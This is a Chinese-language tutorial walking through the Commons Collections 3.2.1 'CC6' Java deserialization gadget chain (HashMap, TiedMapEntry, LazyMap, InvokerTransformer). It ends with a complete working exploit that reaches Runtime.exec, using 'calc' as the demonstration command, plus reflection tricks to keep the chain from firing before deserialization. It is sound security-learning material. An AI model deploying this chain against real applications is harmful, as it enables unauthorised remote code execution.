CC6链
全版本可用
在jdk8u71修复了CC1链后,出现CC6链
这条链不受版本限制
环境搭建
jdk8u71
Comoons-Collections 3.2.1
链子分析
先看yso利用链
1
2
3
4
5
6
7
8
9
10
11
12
|
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
|
后面部分看起来跟LazyMap一样,前半部分跟URLDNS一样,就中间不同
Lazymap部分跟前面一样,所以代码就是
1
2
3
4
5
6
7
8
9
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
|
接下来就说看看谁调用了LazyMap
的get方法
上面链子说是TiedMapEntry
的getValue()方法
1
2
3
|
public Object getValue() {
return map.get(key);
}
|
我们查看构造器
1
2
3
4
5
|
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
|
传入map和一个key,key直接随便,由于这个类是public类型的,我们可以直接获取到getValue()
方法
1
2
|
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
t.getValue();
|
整合一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
package com.cc6test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Test02 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
t.getValue();
}
}
|
成功弹计算器
然后我们接着找哪里调用了getValue()
方法,由于比较常见我们在同一个类里面查找
1
2
3
4
5
|
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
|
TiedMapEntry
类下有hashCode方法调用了,看到hashCode我们其实就能直接想到用HashMap里面的hash方法,然后接下来跟URLDNS链一样,最后到达readObject
方法
接下来先查看readObject
方法,然后最后是调用了hash方法
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
然后才调用hashCode方法,由于对key进行hashCode,所以我们的key直接传入前面定义的TiedMapEntry
对象
1
2
3
|
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
|
这里会发现跟URLDNS链一样出现问题了,我们即使没有执行反序列化也会弹计算器
这里有两个问题,我们下断点发现,其实在这里就弹计算器了
IDEA配置问题
1
|
HashMap<Object, Object> finalmap = new HashMap<>();
|
这里就是跟IDEA的配置有关了
因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString()
方法,所以在创建 TiedMapEntry
的时候,就自动调用了 getValue()
最终将链子走完,然后弹出计算器。
我们查看前面的toString方法
1
2
3
|
public String toString() {
return getKey() + "=" + getValue();
}
|
确实调用了getValue方法,结果就把链子走完了
解决办法打开设置,启用toString视图关了,然后上面那个替代视图也得关了

URLDNS相同问题
还有一个点是在调用put方法弹计算器
改进方法也是差不多,需要反射更改一些变量的值
我们跟进put方法
1
2
3
|
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
|
发现他直接调用hash方法,然后后面一样了
我们修改的想法是修改
1
|
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
|
使它的第二个参数先为没用的Transformer类,使得put的时候不会提前调用链子,然后在序列化之前,我们通过反射把参数值改回去
1
2
3
4
5
6
7
8
|
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
|
虽然这里序列化没有弹计算器,但是反序列化的时候也没弹计算器
我们在map的put方法这里下断点查看,一直步入到这里

可以看到它尝试获取我们传进去的LazyMap的key,执行transform方法,确实啥也没发生
然后一直步过,我们可以看到它用我们自定义的key赋值传入的value值

这里会导致反序列化的时候,key对应的值不为空,进不了if判断
所以解决办法就是把我们自定义的key删了
也就是在前下的给key赋值操作结束后,把key直接删了
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package com.cc6test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test02 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove("key");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
serialize(finalmap);
unserialize("ser.bin");
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|